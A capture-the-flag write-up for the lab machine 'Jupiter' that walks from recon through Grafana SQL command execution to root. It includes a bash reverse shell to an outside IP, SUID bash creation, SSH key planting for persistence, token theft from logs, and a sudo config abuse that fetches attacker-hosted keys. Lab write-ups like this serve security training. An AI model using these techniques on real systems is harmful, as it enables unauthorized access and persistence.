Jupiter

User flag

Initial nmap:

$ nmap -sV -sC 10.10.11.216
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-15 09:48 CDT
Nmap scan report for 10.10.11.216
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused) 
PORT STATE SERVICE VERSION 
22/tcp openssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA) 
|_256 6001d7db927b13f0ba20c6c900a71b41 (ED25519) 
80/tcp openhttpnginx 1.18.0 (Ubuntu) 
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/ 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 33.50 seconds

Ran gobuster to find subdomains for http://jupiter.htb:

$ gobuster vhost --append-domain -u http://jupiter.htb -w /usr/share/wordlists/seclists/Discovery/DNS
/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://jupiter.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true                         
===============================================================
2023/06/15 10:33:01 Starting gobuster in VHOST enumeration mode
===============================================================
Found: kiosk.jupiter.htb Status: 200 [Size: 34390]
Progress: 114436 / 114442 (99.99%)
===============================================================
2023/06/15 11:01:20 Finished
===============================================================

There is a grafana instance running on http://kiosk.jupiter.htb

Capturing traffic shows that SQL statements are being made:

POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
Content-Length: 484
x-plugin-id: postgres
x-grafana-org-id: 1
x-panel-id: 24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
content-type: application/json
x-dashboard-uid: jMgFGfA4z
x-datasource-uid: YItSLg-Vz
Origin: http://kiosk.jupiter.htb
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "queries":[
        {
            "refId":"A",
            "datasource":{
                "type":"postgres",
                "uid":"YItSLg-Vz"
            },
            "rawSql":"select \n  name as \"Name\", \n  parent as \"Parent Planet\", \n  meaning as \"Name Meaning\" \nfrom \n  moons \nwhere \n  parent = 'Saturn' \norder by \n  name desc;",
            "format":"table",
            "datasourceId":1,
            "intervalMs":60000,"maxDataPoints":452
        }
    ],
    "range":{
        "from":"2023-06-15T10:52:53.888Z",
        "to":"2023-06-15T16:52:53.888Z",
        "raw":{
            "from":"now-6h",
            "to":"now"
         }
    },
    "from":"1686826373888",
    "to":"1686847973888"
}

Command execution by sending:

CREATE TABLE cmd_exec(cmd_output text);

And then:

TRUNCATE TABLE cmd_exec; COPY cmd_exec FROM PROGRAM ' id '; SELECT * FROM cmd_exec

Get reverse shell:

TRUNCATE TABLE cmd_exec; COPY cmd_exec FROM PROGRAM ' bash -c \"bash -i >& /dev/tcp/10.10.14.82/5555 0>&1 \" '

There's an interesting file in /dev/shm that's interacted with every two minutes and we have write access to as postgresql: network-simulation.yml. By changing the processes that are run we can get access to the juno user by using bash with the suid bit set:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/.bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 1
    processes:
    - path: /usr/bin/chmod
      args: 4777 /tmp/.bash
      start_time: 5s

Then we can run /tmp/.bash to add an ssh key for persistence:

$ /tmp/.bash -p
$ echo "<ssh public key>" >> /home/juno/.ssh/authorized_keys

Then we can ssh in as juno and get the flag.

Root flag

We are able to look in the /opt/solar-flares directory and see that there is a script to run a jupiter notebook:

juno@jupiter:~$ cat /opt/solar-flares/start.sh 
#!/bin/bash
now=`date +"%Y-%m-%d-%M"`
jupyter notebook --no-browser /opt/solar-flares/flares.ipynb 2>> /opt/solar-flares/logs/jupyter-${now}.log &

We can check to see if anything's running on the server at the moment:

juno@jupiter:~$ ss -lntp
State   Recv-Q  Send-Q   Local Address:Port     Peer Address:Port  Process  
LISTEN  0       511            0.0.0.0:80            0.0.0.0:*
LISTEN  0       100          127.0.0.1:45809         0.0.0.0:*
LISTEN  0       4096     127.0.0.53%lo:53            0.0.0.0:*
LISTEN  0       128            0.0.0.0:22            0.0.0.0:*
LISTEN  0       100          127.0.0.1:37175         0.0.0.0:*
LISTEN  0       100          127.0.0.1:42935         0.0.0.0:*
LISTEN  0       4096         127.0.0.1:3000          0.0.0.0:*
LISTEN  0       128          127.0.0.1:8888          0.0.0.0:*
LISTEN  0       244          127.0.0.1:5432          0.0.0.0:*
LISTEN  0       100          127.0.0.1:53985         0.0.0.0:*
LISTEN  0       100          127.0.0.1:42787         0.0.0.0:*
LISTEN  0       100          127.0.0.1:38341         0.0.0.0:*
LISTEN  0       128               [::]:22               [::]:*

Knowing that port 8888 is the default port for jupyter, we can try port forwarding to see what we can find there:

$ ssh -L 8563:localhost:8888 -i ~/.ssh/id_rsa juno@jupiter.htb

We can then see that token authentication is enabled on the server

Luckily, the stdout is being logged, so we can snatch the token from there:

juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-06-18-14.log
[W 23:14:43.387 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 23:14:43.395 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 23:14:43.395 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 23:14:43.395 NotebookApp] http://localhost:8888/?token=987544f50a51e02473c8a3fc1dae91babd2bb3dfa1e771b4
[I 23:14:43.395 NotebookApp]  or http://127.0.0.1:8888/?token=987544f50a51e02473c8a3fc1dae91babd2bb3dfa1e771b4
[I 23:14:43.395 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 23:14:43.400 NotebookApp] No web browser found: could not locate runnable browser.

Then we can create a new notebook and create a new suid bash for the jovian user.

Use the shell with:

/tmp/.bash2 -p

And then add the ssh key to /home/jovian/authorized_keys. Note that .ssh needs to have permissions 700, and authorized_keys needs 600.

Then ssh as jovian.

The file /usr/local/bin/sattrack is interesting, but can't be run without an error. Running strings on the binary shows that it's expecting a config file at /tmp/config.json, so copy the config file:

cp /usr/local/share/sattrack/config.json /tmp/config.json

And change it to start with the following lines:

{
        "tleroot": "/root/.ssh/",
        "tlefile": "authorized_keys",
        "mapfile": "/usr/local/share/sattrack/map.json",
        "texturefile": "/usr/local/share/sattrack/earth.png",

        "tlesources": [
                "http://10.10.14.82:8000/authorized_keys",
                "http://celestrak.org/NORAD/elements/noaa.txt",
                "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
        ],

Then run with:

sudo sattrack

And ssh in as root!